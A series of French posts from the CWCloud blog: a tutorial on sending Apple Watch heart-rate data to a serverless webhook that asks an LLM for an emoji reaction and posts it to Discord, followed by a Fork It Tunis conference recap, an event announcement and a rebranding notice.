Cependant, pas d'API en ligne ne signifie pas pour autant qu'il est impossible de les récupérer : on voit que beaucoup d'applications sur l'iPhone sont capables de malgré tout récupérer les données de la montre, à l'exemple de Strava, MyFitnessPal...

Ces applications passent la plupart du temps par une lecture des données directement depuis l'iPhone en utilisant le framework d'Apple HealthKit et en donnant les permissions nécessaires depuis les paramètres de sécurité d'Apple.

Cependant, cela demande quand même beaucoup d'efforts pour quelqu’un qui n’est pas développeur mobile iOS de devoir builder et valider une application développée en Swift pour envoyer les données sur un webhook. J’ai cherché à voir si quelqu’un d’autre n’avait pas déjà fait ce travail. Et c’était effectivement le cas avec l’application Health Auto Export.

Cette application est assez mal notée, mais quand on lit les commentaires, on comprend parfaitement pourquoi : les gens n'ont pas compris à quoi elle servait. Entre autres, elle ne sert pas à faire de jolis dashboards d'agrégations statistiques, mais à exporter les données de santé d'Apple dans des formats exploitables par des développeurs (CSV ou JSON), et également à programmer des envois schedulés de ces exports vers des connecteurs externes (webhook REST/HTTP, fichiers MQTT, Dropbox...).

Dans notre cas, c’est très exactement ce qu’il nous fallait. Voici comment configurer, par exemple, un webhook HTTP pour envoyer les données à CWCloud dans une automation qui va tourner toutes les minutes :

Toutes les minutes, la fonction serverless de CWCloud va recevoir comme payload un JSON au format suivant :

{
  "data" : {
    "metrics" : [  
      {
        "units" : "count\/min",
        "data" : [
          {
            "Min" : 79,
            "date" : "2025-06-30 23:17:40 +0200",
            "Avg" : 79,
            "Max" : 79,
            "source" : "Idriss’s Apple Watch"
          },
          {
            "Min" : 66,
            "Max" : 66,
            "Avg" : 66,
            "source" : "Idriss’s Apple Watch",
            "date" : "2025-06-30 23:23:45 +0200"
          },
          {
            "Max" : 66,
            "date" : "2025-06-30 23:26:52 +0200",
            "source" : "Idriss’s Apple Watch",
            "Min" : 66,
            "Avg" : 66
          }
        ],
        "name" : "heart_rate"
      }
    ]
  }
}

Dans l'automation, on pourra noter que j’ai filtré uniquement la métrique heart_rate, car sinon cela pourrait en envoyer beaucoup d’autres, et pas uniquement provenant de l’Apple Watch, mais également d’autres applications comme MyFitnessPal, qui fait le tracking de vos macros (calories, protéines, lipides, glucides, calcium, etc.) de votre alimentation. Bref, il y a vraiment de quoi faire des usecases très intéressants 😁.

Cela étant, ce payload n’est pas compatible avec le contrat d’interface de notre moteur serverless avec les endpoints classiques que nous avons documentés dans plusieurs démos, où l’on attend à l’avance les paramètres de votre fonction.

Il existe toutefois un endpoint /v1/faas/webhook/{function_id} (ou /v1/faas/webhook/{function_id}/sync si vous souhaitez recevoir la réponse de la fonction en synchrone dans la réponse HTTP). Dans ce cas, il faut que votre fonction soit définie avec un unique argument raw_data comme ceci :

Une fois que c’est fait, il devient très simple d’invoquer la fonction en lui passant ce que vous voulez comme body, que vous pourrez ensuite parser directement dans votre code :

$ curl "https://api.cwcloud.tech/v1/faas/webhook/ecb10330-02bf-400b-b6a8-d98107324ac3/sync" -X POST -d '{"foo":"bar"}' 2>/dev/null|jq .
{
  "status": "ok",
  "code": 200,
  "entity": {
    "id": "78774026-f75e-4c7c-850a-9b9eb2cb2ec0",
    "invoker_id": 3,
    "updated_at": "2025-07-05T14:39:53.119780",
    "content": {
      "args": [
        {
          "key": "raw_data",
          "value": "{\"foo\":\"bar\"}"
        }
      ],
      "state": "complete",
      "result": "The data is : {\"foo\":\"bar\"}\n",
      "user_id": null,
      "function_id": "ecb10330-02bf-400b-b6a8-d98107324ac3"
    },
    "created_at": "2025-07-05T14:39:52.443918"
  }
}

Vous l'aurez compris, dans l'automation de l'application Health Auto Export c'est une URL au format https://api.cwcloud.tech/v1/faas/webhook/{function_id} qu'il faudra définir (pas besoin du /sync à la fin car vous n'aurez pas besoin d'attendre le résultat de l'exécution de la fonction).

Note : on a aussi exposé la fonction en public pour pouvoir l’invoquer sans authentification, mais ce n’est pas forcément ce qui est souhaitable. N’oubliez pas que vous êtes facturés aux tokens que vous consommerez dans le cas ou vous utilisez des modèles publics. Donc ici on le fait à des fins illustratives mais vous n’allez pas forcément vouloir que tout le monde invoque votre webhook. Vous pouvez très bien gérer cela en gardant la fonction privée et en ajoutant un header X-User-Token dans l’automation sur l’application Health Auto Export.

Maintenant qu’on sait comment créer un webhook, voici le code Blockly³ pour extraire la moyenne de votre heart rate, l’envoyer au LLM gpt4omini. Ici, on a demandé au LLM de réagir avec un emoji à la valeur qu’il reçoit et d’envoyer le résultat dans Discord :

Vous pouvez observer que je passe la phrase suivante "You're reacting with an emoji only if the heart rate is too slow or to high" comme prompt système ainsi que le nombre de battements cardiaque récupérée des données de l'Apple Watch comme prompt utilisateur.

En outre, il faut savoir que les blocs AI vous obligent à vous authentifier pour pouvoir invoquer l'API CWCloud AI. Si vous voulez conserver le fait d'ouvrir ce webhook à n'importe qui il faudra créer une clef d'API en suivant ce tutoriel et en injectant cette clef dans une variable d'environnement AUTH_HEADER_VALUE comme ceci :

Dans ce cas tous le monde pourra invoquer votre webhook et c'est votre compte qui sera facturé à la consommation si vous utilisez des modèles d'IA publics. Vous pouvez aussi chosir d'utiliser votre propre LLM hébergé sur vos instances à la place et dans ce cas cela ferait plus sens de garder le webhook public 😇.

Il faut également savoir que si la variable AUTH_HEADER_VALUE est définie, elle est prise en priorité sur l'authentification lorsque vous invoquez le webhook de façon authentifiée.

On peut également remarquer dans la capture d'écran précédant qu'un webhook pour Discord a été défini dans une autre variable d'environnement DISCORD_WEBHOOK_URL afin d'être utilisé pour envoyer la réponse du LLM dans Discord, et voici le résultat :

On peut voir que jusqu'ici tout va bien côté cardio, rien à signaler 😅

On l'a fait ! Tunis 🇹🇳 a enfin eu sa journée de conférence orientée pour les développeurs à la cité de la culture le 5 avril.

Comme annoncé dans un précédent blogpost, nous avions monté un très beau stand dans le but de challenger les conférenciers avec un concours IA, serverless et IoT et on a eu beaucoup de participant(e)s.

Félicitons encore nos gagnant(e)s: Zayneb, Ala Eddine et Yassmine¹!

Le code source de la démo est disponible sur github et si vous voulez plus d'explications, vous pouvez visionner cette courte vidéo :

J'ai également eu la chance d'avoir la scène pour parler de Quickwit, Grafana et OpenTelemetry avec une autre démo. Il était prévu de le faire en anglais mais finalement le public a préféré la langue de molière. Je m'excuse pour les personnes qui auraient souhaité le voir en anglais, il y aura d'autres occasions 😅.

Il y aura un replay, les slides et supports sont disponibles sur github également et si vous souhaitez en apprendre davantage, vous pouvez également lire ce blogpost.

J'ai également pu assister à la keynote très inspirante "how do you learn" d'Olivier et Sonyth Huber et vous recommande de visionner le replay lorsqu'il sera publié.

Et pour finir, j'ai également pu faire visiter Sidi Bou Saïd à mon ami speaker Yacine, la plus belle place de la région de Tunis. Yacine qui a également donné un super talk sur comment il a réussi à porter Doom sur navigateur en utilisant WASM, une merveilleuse technologie.

Si vous souhaitez garder le contact, en particulier si vous avez apprécié les démo et le challenge de CWCloud, nous avons un serveur discord communautaire que vous pouvez rejoindre.

Les prochaines conférences auxquelles j'assisterai seront DevoxxFR comme visiteur, SunnyTech et RivieraDev en tant que speaker. J'espère vous y voir nombreux(se)s comme d'habitude 🤩.

Comme vous le savez peut-être déjà avec nos récentes communications, un évenement Fork It aura lieu à la cité de la culture à Tunis 🇹🇳 le 5 avril 2025.

CWCloud aura un stand avec un concours IoT, IA et serverless qui consistera à lire un capteur de température et humidité DHT22 à l'aide d'un Raspberry Pi et de les envoyer à une fonction serverless et lowcode de CWCloud afin qu'elle fasse réagir des LLM avec des emojis pour indiquer s'il fait chaud ou froid. Vous aurez plus d'informations avec cette vidéo :

Il y aura des livres d'Aurélie Vache à gagner :

• Understanding Kubernetes in a visual way
• Understanding Docker in a visual way

Je présenterai aussi un talk à 16h55: Découvrons ensemble la relève de l'observabilité avec les logs et traces : Quickwit (le talk sera en anglais mais vous avez une version disponible en Français à BDX/IO).

Il est important de vous inscrire et de récupérer votre ticket ici. C'est vraiment peu cher pour un évènement technique de cette qualité et nous avons également un code promo qui permet de le faire descendre encore de 20% : COMWORK20.

Afin de vous enregistrer, vous devez cliquer sur "Get Tickets" :

Ensuite vous avez le choix pour payer en ligne soit en TND soit en Euros avec une carte de crédit :

Si vous utilisez tunis.events afin de payer en TND, voici comment ajouter le code promo en cliquant sur "code secret" :

Et si vous utilisez lu.ma afin de régler en Euros, pour utiliser le code promo vous devez cliquer sur "add a coupon" :

On espère vous voir très nombreux à l'évènement !

Vous l'aurez peut être constaté, nous avons changé d'identité visuelle et commencé à séparer les activités. CWCloud deviens un produit à part entière avec ses propres structures juridiques en cours de création (tant que c'est en cours, le produit reste sous la tutelle de la société comwork).

A cette occasion, CWCloud se munit de sa propre landing page et le blog lui a été transféré ici : cwcloud.tech.

Comwork va continuer à exister en tant que boite de service avec son propre site web qui pour rappel est le suivant : comwork.io.

Beaucoup de choses vont changer notamment vous pourrez le constater l'apparition de deux versions : community edition (opensource en licence MIT) et enterprise (propriétaire) avec des fonctionnalités en plus adaptés aux grands groupes. Les versions SaaS quant à elle pour les marchés européens/internationaux et tunisiens vont directement pointer sur des version enterprise.

Nous vous informons également que nous sommes en train de postuler chez YCombinator afin de mieux faire évoluer le produit. Nous vous tiendrons informer de l'évolution.